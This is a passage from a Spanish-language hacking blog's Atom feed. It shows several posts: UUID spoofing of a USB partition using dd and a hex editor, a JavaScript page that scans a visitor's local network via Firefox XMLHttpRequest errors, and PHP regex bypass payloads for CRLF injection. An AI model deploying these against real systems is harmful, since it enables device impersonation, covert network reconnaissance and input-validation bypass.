tiene un formato diferente (esta memoria fue formateada en FAT)&lt;br /&gt;&lt;br /&gt;Formateamos desde linux en swap (en mi caso) y notaremos que el uuid cambia... entonces esto nos puede hacer pensar que el uuid se escribe directamente en los encabezados de la memoria usb y que no es algo fijo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;linux-7nli:/home/xianur0 # blkid | grep sdb&lt;/span&gt;&lt;br /&gt;/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"&lt;br /&gt;/dev/sdb4: &lt;span style="font-weight: bold;"&gt;UUID="4850bce1-67ae-4c6c-97cf-54c2c5b9cb12"&lt;/span&gt; TYPE="swap"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;dd:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;linux-7nli:/home/xianur0 # dd if=/dev/sdb4 of=/home/xianur0/sdb4 ibs=2040 count=1&lt;/span&gt;&lt;br /&gt;1+0 registros leídos&lt;br /&gt;3+1 registros escritos&lt;br /&gt;2040 bytes (2,0 kB) copiados, 0,00251428 s, 811 kB/s&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hex editor:&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-FaFnAFXwTQY/T3isnKL2MpI/AAAAAAAAAL8/_ZP6X6uAHsQ/s1600/hexeditor.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 119px;" src="http://1.bp.blogspot.com/-FaFnAFXwTQY/T3isnKL2MpI/AAAAAAAAAL8/_ZP6X6uAHsQ/s320/hexeditor.jpg" alt="" id="BLOGGER_PHOTO_ID_5726516714950505106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PD: &lt;/span&gt;El UUID está grabado dentro de los primeros 2040 bytes (normalmente).&lt;br /&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Subimos los cambios (en esos 2040 bytes) al dispositivo (sobrescribimos):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;linux-7nli:/home/xianur0 # dd if=sdb4-edited of=/dev/sdb4 conv=notrunc&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;3+1 registros leídos&lt;br /&gt;3+1 registros escritos&lt;br /&gt;2040 bytes (2,0 kB) copiados, 0,00582027 s, 350 kB/s&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;linux-7nli:/home/xianur0 # blkid&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;/dev/sda2: UUID="8c787ac4-88c4-4b85-9c07-7d88449c37e1" TYPE="reiserfs"&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/dev/sda3: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="crypto_LUKS" &lt;/span&gt;&lt;br style="font-weight: bold;"&gt;/dev/mapper/cr_sda3: UUID="471f4811-2b4d-421f-8883-2bd5f60b7877" TYPE="reiserfs"&lt;br /&gt;/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/dev/sdb4: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="swap" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ahora la parte bonita:&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/&lt;/span&gt;&lt;br /&gt;total 0&lt;br /&gt;drwxr-xr-x 2 root root 100 abr  1 14:51 .&lt;br /&gt;drwxr-xr-x 5 root root 100 abr  1 14:51 ..&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -&amp;gt; ../../dm-1&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;lrwxrwxrwx 1 root root  10 abr  1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -&amp;gt; ../../sda3&lt;/span&gt;&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -&amp;gt; ../../sda2&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/&lt;/span&gt;&lt;br /&gt;total 0&lt;br /&gt;drwxr-xr-x 2 root root 120 abr  1 14:51 .&lt;br /&gt;drwxr-xr-x 6 root root 120 abr  1 14:51 ..&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -&amp;gt; ../../dm-1&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;lrwxrwxrwx 1 root root  10 abr  1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -&amp;gt; ../../sdb4&lt;/span&gt;&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -&amp;gt; ../../sda2&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 14:51 B4FE-5315 -&amp;gt; ../../sdb1&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lo que pasó es que se remplazo el enlace simbólico original por el de la usb :P&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;También podemos hacer este procedimiento con UAT en un solo paso:&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;linux-7nli:/home/xianur0/arduinohack/UAT # python usb-change.py --device=/dev/sdb4 --search=4850bce167ae4c6c97cf54c2c5b9cb12 --replace=58ac13711dd949969be4366f4758551c&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Found in: 1037&lt;br /&gt;Ok&lt;br /&gt;&lt;br /&gt;Y tenemos los datos cambiados :P&lt;br /&gt;&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Happy Hacks&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-5270739019473224517?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/5270739019473224517/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=5270739019473224517' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5270739019473224517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5270739019473224517'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/04/uuid-hacking.html' title='UUID Hacking'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-FaFnAFXwTQY/T3isnKL2MpI/AAAAAAAAAL8/_ZP6X6uAHsQ/s72-c/hexeditor.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-6694170509165694908</id><published>2012-03-10T03:08:00.011-06:00</published><updated>2012-04-05T14:12:24.873-05:00</updated><title type='text'>Blind HTTP Attack (Firefox XMLHttpRequest SOP Hack)</title><content type='html'>Algún tiempo atrás me comencé a preguntar sobre la implementación de XMLHTTPRequest en los diferentes browsers... llegué a algunas conclusiones un poco interesantes y se me ocurrió un "ataque" que se puede utilizar fácilmente para explotar muchas posibilidades. Vamos a ver un poco de esto:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Herramientas de trabajo:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Firebug.&lt;/li&gt;&lt;li&gt;Un editor de texto cualquiera.&lt;/li&gt;&lt;li&gt;Wireshark&lt;/li&gt;&lt;li&gt;Terminal xD&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="font-weight: bold;"&gt;Es un poco curioso que el Firefox de OpenSUSE y el oficial no funcionen de la misma forma, por lo que lo dividiremos en 2:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Firefox (10.0.2 OpenSUSE):&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class="Php" name="code"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function head(ip){&lt;br /&gt;var xmlhttp = new XMLHttpRequest();&lt;br /&gt;try {&lt;br /&gt;xmlhttp.open("HEAD", "http://"+ip+":80/", false);&lt;br /&gt;xmlhttp.send("");&lt;br /&gt;} catch(err){alert(ip+": "+err);}&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;body onload="head('192.168.0.254');head('192.168.0.1');"&amp;gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Mi modem es &lt;span style="font-weight: bold;"&gt;192.168.0.1&lt;/span&gt; y no existe &lt;span style="font-weight: bold;"&gt;192.168.0.254&lt;/span&gt; en mi red&lt;span style="font-weight: bold;"&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Obtenemos 2 errores:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;192.168.0.254: [Exception... "Component returned failure code: 0x805e0006 [nsIXMLHttpRequest.open]"  nsresult: "0x805e0006 (&lt;unknown&gt;)"  location: "JS frame :: file:///home/xianur0/Escritorio/0day%27s/test.html :: head :: line 5"  data: no]&lt;br /&gt;&lt;br /&gt;Y:&lt;br /&gt;&lt;br /&gt;192.168.0.1: [Exception... "Component returned failure code: 0x80004005 (NS_ERROR_FAILURE)"  nsresult: "0x80004005 (NS_ERROR_FAILURE)"  location: "JS frame :: file:///home/xianur0/Escritorio/0day%27s/test.html :: head :: line 6"  data: no]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cómo podrán darse cuenta son dos errores claramente diferentes (uno en nsIXMLHttpRequest.open y otro en nsIXMLHttpRequest.send) apuntando cada uno a una IP diferente... ¿Qué diferencia hay?&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Apuntaremos a otro puerto y el resultado es exactamente el mismo.&lt;br /&gt;&lt;br /&gt;Tomamos los valores retornados: 0x805e0006 y 0x80004005 y modificamos un poco el script:&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function head(ip){&lt;br /&gt;var xmlhttp = new XMLHttpRequest();&lt;br /&gt;try {&lt;br /&gt;xmlhttp.open("HEAD", "http://"+ip+":80/", false);&lt;br /&gt;xmlhttp.send("");&lt;br /&gt;} catch(er){if(er.result == 0x80004005) alert(ip+" existe");}&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;body onload="head('74.125.128.103');head('74.125.128.101');head('74.125.128.102');head('74.125.128.103');head('74.125.128.138');head('74.125.128.139');head('192.168.0.100');head('192.168.0.1');head('192.168.0.100');head('192.168.0.106');head('192.168.0.105');"&amp;gt;&amp;lt;/body&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/unknown&gt;&lt;a href="http://1.bp.blogspot.com/-V2EptSV96SQ/T33c9m4HQ4I/AAAAAAAAAMc/5YR1hQd8cUI/s1600/firebug%2Bwireshark.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 75px;" src="http://1.bp.blogspot.com/-V2EptSV96SQ/T33c9m4HQ4I/AAAAAAAAAMc/5YR1hQd8cUI/s320/firebug%2Bwireshark.jpg" alt="" id="BLOGGER_PHOTO_ID_5727977252051174274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;unknown&gt;nsIXMLHttpRequest.open en algunos casos (como se puede ver en firebug) intenta realizar la conexión a la IP sin importar el &lt;a href="http://en.wikipedia.org/wiki/Same_origin_policy"&gt;SOP&lt;/a&gt;, esto obviamente no debería de ser algo bueno :)... pero aun hay algo...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/unknown&gt;&lt;a href="http://1.bp.blogspot.com/-SMT41bhyTsI/T33dPAJBVII/AAAAAAAAAMo/vIYlfH_rD6g/s1600/firebug%2Bwireshark2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 149px;" src="http://1.bp.blogspot.com/-SMT41bhyTsI/T33dPAJBVII/AAAAAAAAAMo/vIYlfH_rD6g/s320/firebug%2Bwireshark2.jpg" alt="" id="BLOGGER_PHOTO_ID_5727977550890751106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;En otras palabras no realiza las conexiones aunque la IP exista... por qué? me pregunto...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-xdI_d6OIIuI/T33eay2bPHI/AAAAAAAAAM8/951m8zEtiYU/s1600/firebug%2Barp.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 63px;" src="http://2.bp.blogspot.com/-xdI_d6OIIuI/T33eay2bPHI/AAAAAAAAAM8/951m8zEtiYU/s320/firebug%2Barp.jpg" alt="" id="BLOGGER_PHOTO_ID_5727978852993154162" border="0" /&gt;&lt;/a&gt;En efecto, solo hace consultas a lo que está en mi tabla arp....&lt;br /&gt;&lt;br /&gt;Agregaré 192.168.0.103 (que no existe ni está en mi tabla ARP)... y realmente no realiza la conexión (ni da señales de intentarlo)...&lt;br /&gt;&lt;br /&gt;Existe un tercer argumento en el metodo open del objeto XMLHttpRequest... el cual podemos definir como:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Variant&lt;/strong&gt; that specifies          true for asynchronous operation (the call returns immediately), or          false for synchronous operation.          If true, assign a callback handler to          the &lt;span class="unresolvedLink"&gt;&lt;strong&gt;onreadystatechange&lt;/strong&gt;&lt;/span&gt; property          to determine when the call has completed.          If not specified, the default is true.  &lt;br /&gt;&lt;br /&gt;Comprobemos pero con otra versión de "exploit":&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-sgo6YaqxvEA/T33ebOvpAGI/AAAAAAAAANM/WbFPk5Y0euQ/s1600/firebug%2Barp2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 125px;" src="http://1.bp.blogspot.com/-sgo6YaqxvEA/T33ebOvpAGI/AAAAAAAAANM/WbFPk5Y0euQ/s320/firebug%2Barp2.jpg" alt="" id="BLOGGER_PHOTO_ID_5727978860480888930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Vaya, que lindo :P...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Analizando tu red - By Xianur0&amp;lt;/title&amp;gt;&amp;lt;style&amp;gt;&lt;br /&gt;tr:hover {background-color: #333333}&lt;br /&gt;a:hover {color: #FFFFFF; }&lt;br /&gt;a:link { color:#CCCCCC; }&lt;br /&gt;a:visited { color:#CCCCCC; }&lt;br /&gt;a:active { color:#FFFFFF; }&lt;br /&gt;tr {background-color: #222222}&lt;br /&gt;font-family: arial, sans-serif;&lt;br /&gt;background-repeat: repeat-x;&lt;br /&gt;background-attachment: fixed;}&lt;br /&gt;border-width: 1px 1px 1px 1px;&lt;br /&gt;border-style: solid;}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt; var xmlhttp = new Array();&lt;br /&gt; var id = 0;&lt;br /&gt; var stop=0;&lt;br /&gt; var targets=new Array("192.168.0.105","74.125.128.102","74.125.128.103","74.125.128.113","1.1.1.1","192.168.1.254","173.194.76.113","192.168.1.1","192.168.0.1","192.168.0.20","192.168.0.103","192.168.0.254","10.0.0.1","172.16.0.1");&lt;br /&gt;&lt;br /&gt; function mostrar(texto) {&lt;br /&gt;   document.getElementById('result').innerHTML += texto+"\n&amp;lt;br /\&amp;gt;";&lt;br /&gt; }&lt;br /&gt; function alertar(val,id){&lt;br /&gt;  setTimeout(function() {try{stop=1;xmlhttp[id].abort();}catch(e){};},5000);&lt;br /&gt; }&lt;br /&gt; function scann(target,puerto) {&lt;br /&gt;  xmlhttp[id] = new XMLHttpRequest();&lt;br /&gt;  alertar(target+":"+puerto,id);&lt;br /&gt;  try {&lt;br /&gt;   xmlhttp[id].open("HEAD", "http://"+target+":"+puerto+"/", true);&lt;br /&gt;   xmlhttp[id].onreadystatechange = function () {&lt;br /&gt;     state = '';&lt;br /&gt;     try{&lt;br /&gt;      state = xmlhttp[id].readyState;&lt;br /&gt;     } catch(e){}&lt;br /&gt;     if(state != 1 &amp;&amp; stop == 0)&lt;br /&gt;      mostrar("&amp;lt;font color='red'&amp;gt;"+target+":"+puerto+"-"+(state),"&amp;lt;/font&amp;gt;\n&amp;lt;br /\&amp;gt;");&lt;br /&gt;       };&lt;br /&gt;   xmlhttp[id].send("");&lt;br /&gt;  } catch(e) {&lt;br /&gt;//   alert(e);&lt;br /&gt;  }&lt;br /&gt;  id+=1;&lt;br /&gt; }&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body onload="for(var i in targets) {scann(targets[i],80);};" alink="#FFFFFF" bgcolor="#000000" link="#CCCCCC" text="#FFFFFF" vlink="#CCCCCC"&amp;gt;&lt;br /&gt;&amp;lt;table id="main" align="center" bordercolor="#FFFFFF" cellpadding="15"&amp;gt;&lt;br /&gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;lt;td id="head" width="600"&amp;gt;&lt;br /&gt;&amp;lt;center&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;b&amp;gt;Mapeando tu red:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;div id="result"&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Muy interesante hasta ahora... pero y el firefox oficial? (el que te bajas de la web tal y como es).... vamos a comprobar ;)...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-cSOnyja9QRg/T33kHhyKPII/AAAAAAAAANY/CBB4MfJXlE8/s1600/firefox%2Bfirebug.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 76px;" src="http://4.bp.blogspot.com/-cSOnyja9QRg/T33kHhyKPII/AAAAAAAAANY/CBB4MfJXlE8/s320/firefox%2Bfirebug.jpg" alt="" id="BLOGGER_PHOTO_ID_5727985119064112258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Eso es el primer "exploit"... vamos a ver con el segundo...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-ghj0sGYqgKo/T33kHsBHF9I/AAAAAAAAANo/bOn3ej8GyRY/s1600/firebug%2Bfirebug2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://1.bp.blogspot.com/-ghj0sGYqgKo/T33kHsBHF9I/AAAAAAAAANo/bOn3ej8GyRY/s320/firebug%2Bfirebug2.jpg" alt="" id="BLOGGER_PHOTO_ID_5727985121811175378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;(Nota, todo esto lo intenté desde esquema file:// y http:// entonces no es pretexto :P)&lt;br /&gt;&lt;br /&gt;En fin... hay muchas cosas curiosas en XMLHttpRequest... ahora tengo una duda y pediré la ayuda de los usuarios... en otras distros el funcionamiento no es exactamente lo mismo, también afecta aparentemente el como está estructurada la red, por lo tanto este "ataque" es muy variado... y tal vez aun muy inexacto... por eso requiero testers.&lt;br /&gt;&lt;br /&gt;Interesados, contactarme :P&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;xianur0.null [at] gmail.com&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Qué más podemos hacer con esto?&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Al poder enviar consultas "ciegas" aunque no podamos leer la respuesta podemos realizar algo en una página (sea cual sea) por lo que podemos realizar cualquier ataque... a ciegas :)...&lt;br /&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Por eso: Blind HTTP Attack&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego publicaré más de esos ataques a ciegas ;)...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-6694170509165694908?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/6694170509165694908/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=6694170509165694908' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/6694170509165694908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/6694170509165694908'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/03/blind-http-attack.html' title='Blind HTTP Attack (Firefox XMLHttpRequest SOP Hack)'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-V2EptSV96SQ/T33c9m4HQ4I/AAAAAAAAAMc/5YR1hQd8cUI/s72-c/firebug%2Bwireshark.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-157876910590685199</id><published>2012-03-07T20:38:00.003-06:00</published><updated>2012-03-07T20:42:04.783-06:00</updated><title type='text'>Wallpapers UAT (USB Attack Toolkit)</title><content type='html'>Les comparto los wallpapers de UAT diseñados por: &lt;a href="http://www.mariadelcastillo.com/"&gt;&lt;span class="gD"&gt;Maria Del Castillo&lt;/span&gt;&lt;/a&gt; personalmente me gustaron mucho :D&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-R8WOw-qodaU/T1gcOgKi22I/AAAAAAAAALs/2R2MdqdyfNk/s1600/wall_uat_negro2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/-R8WOw-qodaU/T1gcOgKi22I/AAAAAAAAALs/2R2MdqdyfNk/s320/wall_uat_negro2.jpg" alt="" id="BLOGGER_PHOTO_ID_5717350762424752994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-YmTdbiHkAAI/T1gcIPyBhPI/AAAAAAAAALg/o9aFyhn3aUw/s1600/wall_uat_negro.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/-YmTdbiHkAAI/T1gcIPyBhPI/AAAAAAAAALg/o9aFyhn3aUw/s320/wall_uat_negro.jpg" alt="" id="BLOGGER_PHOTO_ID_5717350654947722482" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-157876910590685199?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/157876910590685199/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=157876910590685199' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/157876910590685199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/157876910590685199'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/03/wallpapers-uat-usb-attack-toolkit.html' title='Wallpapers UAT (USB Attack Toolkit)'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-R8WOw-qodaU/T1gcOgKi22I/AAAAAAAAALs/2R2MdqdyfNk/s72-c/wall_uat_negro2.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-2069927200558033188</id><published>2012-02-06T14:58:00.006-06:00</published><updated>2012-03-06T16:09:08.567-06:00</updated><title type='text'>PHP: Que no hacer con los regex</title><content type='html'>El cómo maneja PHP los regex tiene sus detalles... por ejemplo, &lt;span style="font-weight: bold;"&gt;no es lo mismo&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;if(preg_match("/^[\w\d]+$/",$_GET['xian'])){&lt;br /&gt;[...]&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Que:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;if(!preg_match("/[^\w\d]/",$_GET['xian'])){&lt;br /&gt;[...]&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Por ejemplo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;GET /echo.php?xian=&lt;span style="font-weight: bold;"&gt;00a%0a&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El primero hace match... pero el segundo no... ¿Por qué? el LF se toma cómo el fin de la linea (&lt;span style="font-weight: bold;"&gt;$&lt;/span&gt;) por el contrario en el segundo regex no se especifica ese carácter por lo que se abarca todo :D...&lt;br /&gt;&lt;br /&gt;Por otro lado...&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;if(!preg_match("/[^\d\w\s]/",$_GET['xian'])){&lt;br /&gt;[...]&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;y&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;if(preg_match("/^[\d\w\s]+$/",$_GET['xian'])){&lt;br /&gt;[...]&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Inyectando:&lt;/span&gt; /echo.php?xian=&lt;span style="font-weight: bold;"&gt;00a%0a0a%0axianur0%20was%20here&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ambos hacen match (tomen en cuenta que&lt;span style="font-weight: bold;"&gt; \s&lt;/span&gt; no es solo espacios&lt;span style="font-weight: bold;"&gt; ;)&lt;/span&gt; )...&lt;br /&gt;&lt;br /&gt;Con esto podemos inyectar CRLF's entre otras cosas...&lt;br /&gt;&lt;br /&gt;y hay mil y un bypass a esto ;)&lt;br /&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Saludos!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-2069927200558033188?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/2069927200558033188/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=2069927200558033188' title='1 